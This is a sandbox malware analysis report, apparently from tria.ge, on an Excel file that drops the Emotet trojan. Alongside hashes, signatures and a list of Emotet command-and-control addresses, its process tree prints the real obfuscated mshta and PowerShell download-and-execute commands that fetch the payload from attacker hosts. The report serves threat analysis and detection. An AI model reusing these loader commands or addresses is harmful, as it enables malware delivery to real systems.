Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    132s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    20/01/2022, 19:14

General

  • Target

    5427559789147265183.xls

  • Size

    142KB

  • MD5

    dbec7c9243ac15b3a8a655df66c73b36

  • SHA1

    bc2363c0f1aeb0167b933b99ccfc2d26e24a795f

  • SHA256

    a2f32b5bfd78eeee7b3d4d44b4da8c8aeb98ab866a7998e2adaabc80cd1247a4

  • SHA512

    66108f0128d7d2fa1900d98c60a752699b1134b80d678754f1ad6989ab086f5c41075e598ae4e1442544731aceedf7d204a243db6209a09e9d6da28d9c256745

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xb907d607/fer/fer.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://185.7.214.7/fer/fer.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 48 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\5427559789147265183.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1308
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:580
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:1820
        • C:\Windows\SysWOW64\mshta.exe
          mshta http://0xb907d607/fer/fer.html
          3⤵
          • Blocklisted process makes network request
          • Modifies Internet Explorer settings
          • Suspicious use of WriteProcessMemory
          PID:864
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1040
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:1612
              • C:\Windows\SysWow64\rundll32.exe
                C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
                6⤵
                • Loads dropped DLL
                • Suspicious use of WriteProcessMemory
                PID:2024
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                  7⤵
                  • Loads dropped DLL
                  • Drops file in System32 directory
                  • Suspicious use of WriteProcessMemory
                  PID:1672
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ehbwgndrh\xxgqeumun.zht",pYakmJcYb
                    8⤵
                    • Suspicious use of WriteProcessMemory
                    PID:740
                    • C:\Windows\SysWOW64\rundll32.exe
                      C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ehbwgndrh\xxgqeumun.zht",DllRegisterServer
                      9⤵
                      • Blocklisted process makes network request
                      • Suspicious behavior: EnumeratesProcesses
                      PID:1132

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/580-58-0x000007FEFC261000-0x000007FEFC263000-memory.dmp

      Filesize

      8KB

    • memory/740-91-0x0000000000220000-0x0000000000246000-memory.dmp

      Filesize

      152KB

    • memory/1040-63-0x00000000026E2000-0x00000000026E4000-memory.dmp

      Filesize

      8KB

    • memory/1040-62-0x00000000026E1000-0x00000000026E2000-memory.dmp

      Filesize

      4KB

    • memory/1040-61-0x00000000026E0000-0x00000000026E1000-memory.dmp

      Filesize

      4KB

    • memory/1132-111-0x0000000002900000-0x0000000002926000-memory.dmp

      Filesize

      152KB

    • memory/1132-107-0x0000000002720000-0x0000000002746000-memory.dmp

      Filesize

      152KB

    • memory/1132-115-0x0000000002AF1000-0x0000000002B13000-memory.dmp

      Filesize

      136KB

    • memory/1132-103-0x0000000002490000-0x00000000024B6000-memory.dmp

      Filesize

      152KB

    • memory/1132-99-0x00000000008A0000-0x00000000008C6000-memory.dmp

      Filesize

      152KB

    • memory/1132-113-0x0000000002A50000-0x0000000002A76000-memory.dmp

      Filesize

      152KB

    • memory/1132-97-0x0000000000380000-0x00000000003A6000-memory.dmp

      Filesize

      152KB

    • memory/1132-105-0x0000000002540000-0x0000000002566000-memory.dmp

      Filesize

      152KB

    • memory/1132-109-0x0000000002820000-0x0000000002846000-memory.dmp

      Filesize

      152KB

    • memory/1132-95-0x0000000000200000-0x0000000000226000-memory.dmp

      Filesize

      152KB

    • memory/1308-116-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1308-57-0x0000000075CE1000-0x0000000075CE3000-memory.dmp

      Filesize

      8KB

    • memory/1308-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1308-54-0x000000002F631000-0x000000002F634000-memory.dmp

      Filesize

      12KB

    • memory/1308-55-0x0000000071A51000-0x0000000071A53000-memory.dmp

      Filesize

      8KB

    • memory/1672-83-0x0000000000C00000-0x0000000000C26000-memory.dmp

      Filesize

      152KB

    • memory/1672-90-0x0000000002810000-0x0000000002836000-memory.dmp

      Filesize

      152KB

    • memory/1672-87-0x00000000023A0000-0x00000000023C6000-memory.dmp

      Filesize

      152KB

    • memory/1672-85-0x0000000002340000-0x0000000002366000-memory.dmp

      Filesize

      152KB

    • memory/1672-79-0x0000000000800000-0x0000000000826000-memory.dmp

      Filesize

      152KB

    • memory/1672-77-0x00000000002C0000-0x00000000002E6000-memory.dmp

      Filesize

      152KB

    • memory/2024-70-0x0000000000330000-0x0000000000356000-memory.dmp

      Filesize

      152KB